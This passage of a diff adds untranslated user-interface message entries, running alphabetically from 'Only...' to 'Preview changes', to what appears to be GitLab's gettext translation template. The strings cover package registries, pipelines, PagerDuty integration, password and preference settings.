+msgstr ""
+
+msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less."
+msgstr ""
+
+msgid "Only 'Reporter' roles and above on tiers Premium / Silver and above can see Value Stream Analytics."
+msgstr ""
+
+msgid "Only 1 appearances row can exist"
+msgstr ""
+
+msgid "Only Issue ID or Merge Request ID is required"
+msgstr ""
+
+msgid "Only Project Members"
+msgstr ""
+
+msgid "Only active this projects shows up in the search and on the dashboard."
+msgstr ""
+
+msgid "Only admins can delete project"
+msgstr ""
+
+msgid "Only mirror protected branches"
+msgstr ""
+
+msgid "Only policy:"
+msgstr ""
+
+msgid "Only proceed if you trust %{idp_url} to control your GitLab account sign in."
+msgstr ""
+
+msgid "Only project members can comment."
+msgstr ""
+
+msgid "Only project members will be imported. Group members will be skipped."
+msgstr ""
+
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
+msgid "Only verified users with an email address in any of these domains can be added to the group."
+msgstr ""
+
+msgid "Only ‘Reporter’ roles and above on tiers Premium / Silver and above can see Productivity Analytics."
+msgstr ""
+
+msgid "Oops, are you sure?"
+msgstr ""
+
+msgid "Open"
+msgstr ""
+
+msgid "Open Selection"
+msgstr ""
+
+msgid "Open Web IDE"
+msgstr ""
+
+msgid "Open comment type dropdown"
+msgstr ""
+
+msgid "Open epics"
+msgstr ""
+
+msgid "Open errors"
+msgstr ""
+
+msgid "Open in Xcode"
+msgstr ""
+
+msgid "Open in file view"
+msgstr ""
+
+msgid "Open issues"
+msgstr ""
+
+msgid "Open projects"
+msgstr ""
+
+msgid "Open raw"
+msgstr ""
+
+msgid "Open sidebar"
+msgstr ""
+
+msgid "Open: %{openIssuesCount}"
+msgstr ""
+
+msgid "Open: %{open} • Closed: %{closed}"
+msgstr ""
+
+msgid "Opened"
+msgstr ""
+
+msgid "Opened %{epicTimeagoDate}"
+msgstr ""
+
+msgid "Opened MRs"
+msgstr ""
+
+msgid "Opened issues"
+msgstr ""
+
+msgid "OpenedNDaysAgo|Opened"
+msgstr ""
+
+msgid "Opens in a new window"
+msgstr ""
+
+msgid "Operation failed. Check pod logs for %{pod_name} for more details."
+msgstr ""
+
+msgid "Operation not allowed"
+msgstr ""
+
+msgid "Operation timed out. Check pod logs for %{pod_name} for more details."
+msgstr ""
+
+msgid "Operations"
+msgstr ""
+
+msgid "Operations Dashboard"
+msgstr ""
+
+msgid "Operations Settings"
+msgstr ""
+
+msgid "OperationsDashboard|Add a project to the dashboard"
+msgstr ""
+
+msgid "OperationsDashboard|Add projects"
+msgstr ""
+
+msgid "OperationsDashboard|More information"
+msgstr ""
+
+msgid "OperationsDashboard|Operations Dashboard"
+msgstr ""
+
+msgid "OperationsDashboard|The operations dashboard provides a summary of each project's operational health, including pipeline and alert statuses."
+msgstr ""
+
+msgid "Optional"
+msgstr ""
+
+msgid "Optional parameter \"variables\" must be a Hash. Ex: variables[key1]=value1"
+msgstr ""
+
+msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
+msgstr ""
+
+msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
+msgstr ""
+
+msgid "Options"
+msgstr ""
+
+msgid "Or you can choose one of the suggested colors below"
+msgstr ""
+
+msgid "Origin"
+msgstr ""
+
+msgid "Other Labels"
+msgstr ""
+
+msgid "Other information"
+msgstr ""
+
+msgid "Other merge requests block this MR"
+msgstr ""
+
+msgid "Other versions"
+msgstr ""
+
+msgid "Other visibility settings have been disabled by the administrator."
+msgstr ""
+
+msgid "Out-of-compliance with this project's policies and should be removed"
+msgstr ""
+
+msgid "Outbound requests"
+msgstr ""
+
+msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
+msgstr ""
+
+msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
+msgstr ""
+
+msgid "Outdent"
+msgstr ""
+
+msgid "Overridden"
+msgstr ""
+
+msgid "Overview"
+msgstr ""
+
+msgid "Overwrite diverged branches"
+msgstr ""
+
+msgid "Owned by anyone"
+msgstr ""
+
+msgid "Owned by me"
+msgstr ""
+
+msgid "Owned by:"
+msgstr ""
+
+msgid "Owner"
+msgstr ""
+
+msgid "Package Registry"
+msgstr ""
+
+msgid "Package already exists"
+msgstr ""
+
+msgid "Package deleted successfully"
+msgstr ""
+
+msgid "Package recipe already exists"
+msgstr ""
+
+msgid "Package type must be Conan"
+msgstr ""
+
+msgid "Package type must be Maven"
+msgstr ""
+
+msgid "Package type must be NuGet"
+msgstr ""
+
+msgid "Package type must be PyPi"
+msgstr ""
+
+msgid "Package was removed"
+msgstr ""
+
+msgid "PackageRegistry|%{name} version %{version} was created %{datetime}"
+msgstr ""
+
+msgid "PackageRegistry|%{name} version %{version} was updated %{datetime}"
+msgstr ""
+
+msgid "PackageRegistry|Add Conan Remote"
+msgstr ""
+
+msgid "PackageRegistry|Add NuGet Source"
+msgstr ""
+
+msgid "PackageRegistry|App group: %{group}"
+msgstr ""
+
+msgid "PackageRegistry|App name: %{name}"
+msgstr ""
+
+msgid "PackageRegistry|Commit %{link} on branch %{branch}"
+msgstr ""
+
+msgid "PackageRegistry|Composer"
+msgstr ""
+
+msgid "PackageRegistry|Conan"
+msgstr ""
+
+msgid "PackageRegistry|Conan Command"
+msgstr ""
+
+msgid "PackageRegistry|Copy .pypirc content"
+msgstr ""
+
+msgid "PackageRegistry|Copy Conan Command"
+msgstr ""
+
+msgid "PackageRegistry|Copy Conan Setup Command"
+msgstr ""
+
+msgid "PackageRegistry|Copy Maven XML"
+msgstr ""
+
+msgid "PackageRegistry|Copy Maven command"
+msgstr ""
+
+msgid "PackageRegistry|Copy Maven registry XML"
+msgstr ""
+
+msgid "PackageRegistry|Copy NuGet Command"
+msgstr ""
+
+msgid "PackageRegistry|Copy NuGet Setup Command"
+msgstr ""
+
+msgid "PackageRegistry|Copy Pip command"
+msgstr ""
+
+msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
+msgstr ""
+
+msgid "PackageRegistry|Copy npm command"
+msgstr ""
+
+msgid "PackageRegistry|Copy npm setup command"
+msgstr ""
+
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
+msgid "PackageRegistry|Copy yarn command"
+msgstr ""
+
+msgid "PackageRegistry|Copy yarn setup command"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package Version"
+msgstr ""
+
+msgid "PackageRegistry|Delete package"
+msgstr ""
+
+msgid "PackageRegistry|Filter by name"
+msgstr ""
+
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
+msgstr ""
+
+msgid "PackageRegistry|For more information on the Maven registry, %{linkStart}see the documentation%{linkEnd}."
+msgstr ""
+
+msgid "PackageRegistry|For more information on the NuGet registry, %{linkStart}see the documentation%{linkEnd}."
+msgstr ""
+
+msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
+msgstr ""
+
+msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
+msgstr ""
+
+msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
+msgstr ""
+
+msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
+msgstr ""
+
+msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
+msgstr ""
+
+msgid "PackageRegistry|License information located at %{link}"
+msgstr ""
+
+msgid "PackageRegistry|Manually Published"
+msgstr ""
+
+msgid "PackageRegistry|Maven"
+msgstr ""
+
+msgid "PackageRegistry|Maven Command"
+msgstr ""
+
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
+msgid "PackageRegistry|NPM"
+msgstr ""
+
+msgid "PackageRegistry|No upcoming issues"
+msgstr ""
+
+msgid "PackageRegistry|NuGet"
+msgstr ""
+
+msgid "PackageRegistry|NuGet Command"
+msgstr ""
+
+msgid "PackageRegistry|Pip Command"
+msgstr ""
+
+msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
+msgstr ""
+
+msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
+msgstr ""
+
+msgid "PackageRegistry|PyPi"
+msgstr ""
+
+msgid "PackageRegistry|Recipe: %{recipe}"
+msgstr ""
+
+msgid "PackageRegistry|Remove package"
+msgstr ""
+
+msgid "PackageRegistry|Sorry, your filter produced no results"
+msgstr ""
+
+msgid "PackageRegistry|Source project located at %{link}"
+msgstr ""
+
+msgid "PackageRegistry|There are no %{packageType} packages yet"
+msgstr ""
+
+msgid "PackageRegistry|There are no other versions of this package."
+msgstr ""
+
+msgid "PackageRegistry|There are no packages yet"
+msgstr ""
+
+msgid "PackageRegistry|There are no upcoming issues to display."
+msgstr ""
+
+msgid "PackageRegistry|There was a problem fetching the details for this package."
+msgstr ""
+
+msgid "PackageRegistry|This NuGet package has no dependencies."
+msgstr ""
+
+msgid "PackageRegistry|To widen your search, change or remove the filters above."
+msgstr ""
+
+msgid "PackageRegistry|Unable to fetch package version information."
+msgstr ""
+
+msgid "PackageRegistry|Unable to load package"
+msgstr ""
+
+msgid "PackageRegistry|Upcoming package managers"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete version %{version} of %{name}. Are you sure?"
+msgstr ""
+
+msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
+msgstr ""
+
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
+msgstr ""
+
+msgid "PackageRegistry|published by %{author}"
+msgstr ""
+
+msgid "PackageRegistry|yarn command"
+msgstr ""
+
+msgid "PackageType|Composer"
+msgstr ""
+
+msgid "PackageType|Conan"
+msgstr ""
+
+msgid "PackageType|Maven"
+msgstr ""
+
+msgid "PackageType|NPM"
+msgstr ""
+
+msgid "PackageType|NuGet"
+msgstr ""
+
+msgid "PackageType|PyPi"
+msgstr ""
+
+msgid "Packages"
+msgstr ""
+
+msgid "Packages & Registries"
+msgstr ""
+
+msgid "Page not found"
+msgstr ""
+
+msgid "Page was successfully deleted"
+msgstr ""
+
+msgid "PagerDutySettings|Active"
+msgstr ""
+
+msgid "PagerDutySettings|Create a GitLab issue for each PagerDuty incident by %{docsLink}"
+msgstr ""
+
+msgid "PagerDutySettings|Failed to update Webhook URL"
+msgstr ""
+
+msgid "PagerDutySettings|Reset webhook URL"
+msgstr ""
+
+msgid "PagerDutySettings|Resetting the webhook URL for this project will require updating this integration's settings in PagerDuty."
+msgstr ""
+
+msgid "PagerDutySettings|Setting up a webhook with PagerDuty will automatically create a GitLab issue for each PagerDuty incident."
+msgstr ""
+
+msgid "PagerDutySettings|Webhook URL"
+msgstr ""
+
+msgid "PagerDutySettings|Webhook URL update was successful"
+msgstr ""
+
+msgid "PagerDutySettings|configuring a webhook in PagerDuty"
+msgstr ""
+
+msgid "Pages"
+msgstr ""
+
+msgid "Pages Domain"
+msgstr ""
+
+msgid "Pages getting started guide"
+msgstr ""
+
+msgid "Pagination|Go to first page"
+msgstr ""
+
+msgid "Pagination|Go to last page"
+msgstr ""
+
+msgid "Pagination|Go to next page"
+msgstr ""
+
+msgid "Pagination|Go to previous page"
+msgstr ""
+
+msgid "Pagination|Last »"
+msgstr ""
+
+msgid "Pagination|Next"
+msgstr ""
+
+msgid "Pagination|Prev"
+msgstr ""
+
+msgid "Pagination|« First"
+msgstr ""
+
+msgid "Parameter"
+msgstr ""
+
+msgid "Parameter \"job_id\" cannot exceed length of %{job_id_max_size}"
+msgstr ""
+
+msgid "Parent"
+msgstr ""
+
+msgid "Parent epic doesn't exist."
+msgstr ""
+
+msgid "Parent epic is not present."
+msgstr ""
+
+msgid "Parsing error for param :embed_json. %{message}"
+msgstr ""
+
+msgid "Part of merge request changes"
+msgstr ""
+
+msgid "Partial token for reference only"
+msgstr ""
+
+msgid "Participants"
+msgstr ""
+
+msgid "Passed"
+msgstr ""
+
+msgid "Passed on"
+msgstr ""
+
+msgid "Password"
+msgstr ""
+
+msgid "Password (optional)"
+msgstr ""
+
+msgid "Password Policy Guidelines"
+msgstr ""
+
+msgid "Password authentication is unavailable."
+msgstr ""
+
+msgid "Password confirmation"
+msgstr ""
+
+msgid "Password successfully changed"
+msgstr ""
+
+msgid "Password was successfully updated. Please sign in again."
+msgstr ""
+
+msgid "Passwords should be unique and not used for any other sites or services."
+msgstr ""
+
+msgid "Past due"
+msgstr ""
+
+msgid "Paste a machine public key here. Read more about how to generate it"
+msgstr ""
+
+msgid "Paste a machine public key here. Read more about how to generate it %{link_start}here%{link_end}"
+msgstr ""
+
+msgid "Paste confidential epic link"
+msgstr ""
+
+msgid "Paste confidential issue link"
+msgstr ""
+
+msgid "Paste epic link"
+msgstr ""
+
+msgid "Paste issue link"
+msgstr ""
+
+msgid "Paste your public SSH key, which is usually contained in the file '~/.ssh/id_ed25519.pub' or '~/.ssh/id_rsa.pub' and begins with 'ssh-ed25519' or 'ssh-rsa'. Don't use your private SSH key."
+msgstr ""
+
+msgid "Patch to apply"
+msgstr ""
+
+msgid "Path"
+msgstr ""
+
+msgid "Path:"
+msgstr ""
+
+msgid "Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "Pause"
+msgstr ""
+
+msgid "Pause replication"
+msgstr ""
+
+msgid "Paused Runners don't accept new jobs"
+msgstr ""
+
+msgid "Pending"
+msgstr ""
+
+msgid "People without permission will never get a notification and won't be able to comment."
+msgstr ""
+
+msgid "People without permission will never get a notification."
+msgstr ""
+
+msgid "Percent of users"
+msgstr ""
+
+msgid "Percentage"
+msgstr ""
+
+msgid "Perform advanced options such as changing path, transferring, exporting, or removing the group."
+msgstr ""
+
+msgid "Perform common operations on GitLab project"
+msgstr ""
+
+msgid "Performance and resource management"
+msgstr ""
+
+msgid "Performance optimization"
+msgstr ""
+
+msgid "PerformanceBar|Bullet notifications"
+msgstr ""
+
+msgid "PerformanceBar|Download"
+msgstr ""
+
+msgid "PerformanceBar|Elasticsearch calls"
+msgstr ""
+
+msgid "PerformanceBar|Frontend resources"
+msgstr ""
+
+msgid "PerformanceBar|Gitaly calls"
+msgstr ""
+
+msgid "PerformanceBar|Redis calls"
+msgstr ""
+
+msgid "PerformanceBar|Rugged calls"
+msgstr ""
+
+msgid "PerformanceBar|SQL queries"
+msgstr ""
+
+msgid "PerformanceBar|trace"
+msgstr ""
+
+msgid "Permissions"
+msgstr ""
+
+msgid "Permissions Help"
+msgstr ""
+
+msgid "Permissions, LFS, 2FA"
+msgstr ""
+
+msgid "Personal Access Token"
+msgstr ""
+
+msgid "Personal project creation is not allowed. Please contact your administrator with questions"
+msgstr ""
+
+msgid "Phabricator Server Import"
+msgstr ""
+
+msgid "Phabricator Server URL"
+msgstr ""
+
+msgid "Phabricator Tasks"
+msgstr ""
+
+msgid "Pick a name"
+msgstr ""
+
+msgid "Pin code"
+msgstr ""
+
+msgid "Pipeline"
+msgstr ""
+
+msgid "Pipeline %{label}"
+msgstr ""
+
+msgid "Pipeline %{label} for \"%{dataTitle}\""
+msgstr ""
+
+msgid "Pipeline Schedule"
+msgstr ""
+
+msgid "Pipeline Schedules"
+msgstr ""
+
+msgid "Pipeline minutes quota"
+msgstr ""
+
+msgid "Pipeline subscriptions"
+msgstr ""
+
+msgid "Pipeline triggers"
+msgstr ""
+
+msgid "Pipeline: %{status}"
+msgstr ""
+
+msgid "PipelineCharts|CI / CD Analytics"
+msgstr ""
+
+msgid "PipelineCharts|Failed:"
+msgstr ""
+
+msgid "PipelineCharts|Overall statistics"
+msgstr ""
+
+msgid "PipelineCharts|Success ratio:"
+msgstr ""
+
+msgid "PipelineCharts|Successful:"
+msgstr ""
+
+msgid "PipelineCharts|Total:"
+msgstr ""
+
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgstr ""
+
+msgid "PipelineSchedules|Activated"
+msgstr ""
+
+msgid "PipelineSchedules|Active"
+msgstr ""
+
+msgid "PipelineSchedules|All"
+msgstr ""
+
+msgid "PipelineSchedules|Inactive"
+msgstr ""
+
+msgid "PipelineSchedules|Next Run"
+msgstr ""
+
+msgid "PipelineSchedules|None"
+msgstr ""
+
+msgid "PipelineSchedules|Provide a short description for this pipeline"
+msgstr ""
+
+msgid "PipelineSchedules|Take ownership"
+msgstr ""
+
+msgid "PipelineSchedules|Target"
+msgstr ""
+
+msgid "PipelineSchedules|Variables"
+msgstr ""
+
+msgid "PipelineStatusTooltip|Pipeline: %{ciStatus}"
+msgstr ""
+
+msgid "PipelineStatusTooltip|Pipeline: %{ci_status}"
+msgstr ""
+
+msgid "Pipelines"
+msgstr ""
+
+msgid "Pipelines charts"
+msgstr ""
+
+msgid "Pipelines emails"
+msgstr ""
+
+msgid "Pipelines for last month (%{oneMonthAgo} - %{today})"
+msgstr ""
+
+msgid "Pipelines for last week (%{oneWeekAgo} - %{today})"
+msgstr ""
+
+msgid "Pipelines for last year"
+msgstr ""
+
+msgid "Pipelines for merge requests are configured. A detached pipeline runs in the context of the merge request, and not against the merged result. Learn more in the documentation for Pipelines for Merged Results."
+msgstr ""
+
+msgid "Pipelines settings for '%{project_name}' were successfully updated."
+msgstr ""
+
+msgid "Pipelines|API"
+msgstr ""
+
+msgid "Pipelines|Are you sure you want to run this pipeline?"
+msgstr ""
+
+msgid "Pipelines|Build with confidence"
+msgstr ""
+
+msgid "Pipelines|CI Lint"
+msgstr ""
+
+msgid "Pipelines|Child pipeline"
+msgstr ""
+
+msgid "Pipelines|Clear Runner Caches"
+msgstr ""
+
+msgid "Pipelines|Continuous Integration can help catch bugs by running your tests automatically, while Continuous Deployment can help you deliver code to your product environment."
+msgstr ""
+
+msgid "Pipelines|Get started with Pipelines"
+msgstr ""
+
+msgid "Pipelines|Group %{namespace_name} has %{percentage}%% or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "Pipelines|Group %{namespace_name} has exceeded its pipeline minutes quota. Unless you buy additional pipeline minutes, no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
+msgstr ""
+
+msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
+msgstr ""
+
+msgid "Pipelines|Loading Pipelines"
+msgstr ""
+
+msgid "Pipelines|More Information"
+msgstr ""
+
+msgid "Pipelines|Project cache successfully reset."
+msgstr ""
+
+msgid "Pipelines|Run Pipeline"
+msgstr ""
+
+msgid "Pipelines|Something went wrong while cleaning runners cache."
+msgstr ""
+
+msgid "Pipelines|There are currently no finished pipelines."
+msgstr ""
+
+msgid "Pipelines|There are currently no pipelines."
+msgstr ""
+
+msgid "Pipelines|There was an error fetching the pipelines. Try again in a few moments or contact your support team."
+msgstr ""
+
+msgid "Pipelines|This is a child pipeline within the parent pipeline"
+msgstr ""
+
+msgid "Pipelines|This pipeline will run code originating from a forked project merge request. This means that the code can potentially have security considerations like exposing CI variables."
+msgstr ""
+
+msgid "Pipelines|This project is not currently set up to run pipelines."
+msgstr ""
+
+msgid "Pipelines|parent"
+msgstr ""
+
+msgid "Pipeline|Branch name"
+msgstr ""
+
+msgid "Pipeline|Canceled"
+msgstr ""
+
+msgid "Pipeline|Checking pipeline status."
+msgstr ""
+
+msgid "Pipeline|Commit"
+msgstr ""
+
+msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "Pipeline|Coverage"
+msgstr ""
+
+msgid "Pipeline|Created"
+msgstr ""
+
+msgid "Pipeline|Date"
+msgstr ""
+
+msgid "Pipeline|Detached merge request pipeline"
+msgstr ""
+
+msgid "Pipeline|Duration"
+msgstr ""
+
+msgid "Pipeline|Existing branch name or tag"
+msgstr ""
+
+msgid "Pipeline|Failed"
+msgstr ""
+
+msgid "Pipeline|Key"
+msgstr ""
+
+msgid "Pipeline|Manual"
+msgstr ""
+
+msgid "Pipeline|Merge train pipeline"
+msgstr ""
+
+msgid "Pipeline|Merged result pipeline"
+msgstr ""
+
+msgid "Pipeline|Passed"
+msgstr ""
+
+msgid "Pipeline|Pending"
+msgstr ""
+
+msgid "Pipeline|Pipeline"
+msgstr ""
+
+msgid "Pipeline|Pipelines"
+msgstr ""
+
+msgid "Pipeline|Raw text search is not currently supported. Please use the available search tokens."
+msgstr ""
+
+msgid "Pipeline|Run Pipeline"
+msgstr ""
+
+msgid "Pipeline|Run for"
+msgstr ""
+
+msgid "Pipeline|Running"
+msgstr ""
+
+msgid "Pipeline|Search branches"
+msgstr ""
+
+msgid "Pipeline|Skipped"
+msgstr ""
+
+msgid "Pipeline|Specify variable values to be used in this run. The values specified in %{linkStart}CI/CD settings%{linkEnd} will be used by default."
+msgstr ""
+
+msgid "Pipeline|Specify variable values to be used in this run. The values specified in %{settings_link} will be used by default."
+msgstr ""
+
+msgid "Pipeline|Stages"
+msgstr ""
+
+msgid "Pipeline|Status"
+msgstr ""
+
+msgid "Pipeline|Stop pipeline"
+msgstr ""
+
+msgid "Pipeline|Stop pipeline #%{pipelineId}?"
+msgstr ""
+
+msgid "Pipeline|Tag name"
+msgstr ""
+
+msgid "Pipeline|Trigger author"
+msgstr ""
+
+msgid "Pipeline|Triggerer"
+msgstr ""
+
+msgid "Pipeline|Value"
+msgstr ""
+
+msgid "Pipeline|Variables"
+msgstr ""
+
+msgid "Pipeline|You’re about to stop pipeline %{pipelineId}."
+msgstr ""
+
+msgid "Pipeline|for"
+msgstr ""
+
+msgid "Pipeline|on"
+msgstr ""
+
+msgid "Pipeline|with stage"
+msgstr ""
+
+msgid "Pipeline|with stages"
+msgstr ""
+
+msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgstr ""
+
+msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgstr ""
+
+msgid "PivotalTrackerService|Project Management Software (Source Commits Endpoint)"
+msgstr ""
+
+msgid "Plain diff"
+msgstr ""
+
+msgid "Plan"
+msgstr ""
+
+msgid "Plan:"
+msgstr ""
+
+msgid "PlantUML"
+msgstr ""
+
+msgid "Play"
+msgstr ""
+
+msgid "Play all manual"
+msgstr ""
+
+msgid "Please %{link_to_register} or %{link_to_sign_in} to comment"
+msgstr ""
+
+msgid "Please %{startTagRegister}register%{endRegisterTag} or %{startTagSignIn}sign in%{endSignInTag} to reply"
+msgstr ""
+
+msgid "Please accept the Terms of Service before continuing."
+msgstr ""
+
+msgid "Please add a comment in the text area above"
+msgstr ""
+
+msgid "Please add a list to your board first"
+msgstr ""
+
+msgid "Please check the configuration file for this chart"
+msgstr ""
+
+msgid "Please check the configuration file to ensure that a collection of charts has been declared."
+msgstr ""
+
+msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
+msgstr ""
+
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgstr ""
+
+msgid "Please choose a file"
+msgstr ""
+
+msgid "Please choose a group URL with no special characters."
+msgstr ""
+
+msgid "Please complete your profile with email address"
+msgstr ""
+
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
+msgid "Please contact your administrator."
+msgstr ""
+
+msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
+msgstr ""
+
+msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
+msgstr ""
+
+msgid "Please create a password for your new account."
+msgstr ""
+
+msgid "Please create a username with only alphanumeric characters."
+msgstr ""
+
+msgid "Please create an index before enabling indexing"
+msgstr ""
+
+msgid "Please enable and migrate to hashed storage to avoid security issues and ensure data integrity. %{migrate_link}"
+msgstr ""
+
+msgid "Please ensure your account's %{account_link_start}recovery settings%{account_link_end} are up to date."
+msgstr ""
+
+msgid "Please enter a non-negative number"
+msgstr ""
+
+msgid "Please enter a number greater than %{number} (from the project settings)"
+msgstr ""
+
+msgid "Please enter a valid number"
+msgstr ""
+
+msgid "Please enter or upload a license."
+msgstr ""
+
+msgid "Please fill in a descriptive name for your group."
+msgstr ""
+
+msgid "Please follow the %{link_start}Let's Encrypt troubleshooting instructions%{link_end} to re-obtain your Let's Encrypt certificate."
+msgstr ""
+
+msgid "Please follow the Let's Encrypt troubleshooting instructions to re-obtain your Let's Encrypt certificate: %{docs_url}."
+msgstr ""
+
+msgid "Please migrate all existing projects to hashed storage to avoid security issues and ensure data integrity. %{migrate_link}"
+msgstr ""
+
+msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
+msgstr ""
+
+msgid "Please provide a name"
+msgstr ""
+
+msgid "Please provide a valid URL"
+msgstr ""
+
+msgid "Please provide a valid email address."
+msgstr ""
+
+msgid "Please provide attributes to update"
+msgstr ""
+
+msgid "Please refer to %{docs_url}"
+msgstr ""
+
+msgid "Please retype the email address."
+msgstr ""
+
+msgid "Please select"
+msgstr ""
+
+msgid "Please select a Jira project"
+msgstr ""
+
+msgid "Please select a country"
+msgstr ""
+
+msgid "Please select a file"
+msgstr ""
+
+msgid "Please select a group."
+msgstr ""
+
+msgid "Please select a valid target branch"
+msgstr ""
+
+msgid "Please select and add a member"
+msgstr ""
+
+msgid "Please select at least one filter to see results"
+msgstr ""
+
+msgid "Please set a new password before proceeding."
+msgstr ""
+
+msgid "Please solve the reCAPTCHA"
+msgstr ""
+
+msgid "Please try again"
+msgstr ""
+
+msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
+msgstr ""
+
+msgid "Please type the following to confirm:"
+msgstr ""
+
+msgid "Please use this form to report to the admin users who create spam issues, comments or behave inappropriately."
+msgstr ""
+
+msgid "Please wait a moment, this page will automatically refresh when ready."
+msgstr ""
+
+msgid "Please wait while we connect to your repository. Refresh at will."
+msgstr ""
+
+msgid "Please wait while we import the repository for you. Refresh at will."
+msgstr ""
+
+msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
+msgstr ""
+
+msgid "Pod does not exist"
+msgstr ""
+
+msgid "Pod not found"
+msgstr ""
+
+msgid "Pods in use"
+msgstr ""
+
+msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
+msgstr ""
+
+msgid "Pre-defined push rules."
+msgstr ""
+
+msgid "Preferences"
+msgstr ""
+
+msgid "Preferences saved."
+msgstr ""
+
+msgid "Preferences|Behavior"
+msgstr ""
+
+msgid "Preferences|Choose between fixed (max. 1280px) and fluid (%{percentage}) application layout."
+msgstr ""
+
+msgid "Preferences|Choose what content you want to see on a project’s overview page."
+msgstr ""
+
+msgid "Preferences|Choose what content you want to see on your homepage."
+msgstr ""
+
+msgid "Preferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgstr ""
+
+msgid "Preferences|Display time in 24-hour format"
+msgstr ""
+
+msgid "Preferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "Preferences|For example: 30 mins ago."
+msgstr ""
+
+msgid "Preferences|Homepage content"
+msgstr ""
+
+msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
+msgstr ""
+
+msgid "Preferences|Integrations"
+msgstr ""
+
+msgid "Preferences|Layout width"
+msgstr ""
+
+msgid "Preferences|Must be a number between %{min} and %{max}"
+msgstr ""
+
+msgid "Preferences|Navigation theme"
+msgstr ""
+
+msgid "Preferences|Project overview content"
+msgstr ""
+
+msgid "Preferences|Render whitespace characters in the Web IDE"
+msgstr ""
+
+msgid "Preferences|Show one file at a time on merge request's Changes tab"
+msgstr ""
+
+msgid "Preferences|Show whitespace changes in diffs"
+msgstr ""
+
+msgid "Preferences|Sourcegraph"
+msgstr ""
+
+msgid "Preferences|Syntax highlighting theme"
+msgstr ""
+
+msgid "Preferences|Tab width"
+msgstr ""
+
+msgid "Preferences|These settings will update how dates and times are displayed for you."
+msgstr ""
+
+msgid "Preferences|This feature is experimental and translations are not complete yet"
+msgstr ""
+
+msgid "Preferences|This setting allows you to customize the appearance of the syntax."
+msgstr ""
+
+msgid "Preferences|This setting allows you to customize the behavior of the system layout and default views."
+msgstr ""
+
+msgid "Preferences|Time display"
+msgstr ""
+
+msgid "Preferences|Time format"
+msgstr ""
+
+msgid "Preferences|Time preferences"
+msgstr ""
+
+msgid "Preferences|Use relative times"
+msgstr ""
+
+msgid "Press %{key}-C to copy"
+msgstr ""
+
+msgid "Prev"
+msgstr ""
+
+msgid "Prevent adding new members to project membership within this group"
+msgstr ""
+
+msgid "Prevent approval of merge requests by merge request author"
+msgstr ""
+
+msgid "Prevent approval of merge requests by merge request committers"
+msgstr ""
+
+msgid "Prevent environment from auto-stopping"
+msgstr ""
+
+msgid "Prevent project forking outside current group"
+msgstr ""
+
+msgid "Prevent users from changing their profile name"
+msgstr ""
+
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
+msgid "Prevent users from performing write operations on GitLab while performing maintenance."
+msgstr ""
+
+msgid "Preview"
+msgstr ""
+
+msgid "Preview Markdown"
+msgstr ""
+
+msgid "Preview changes"
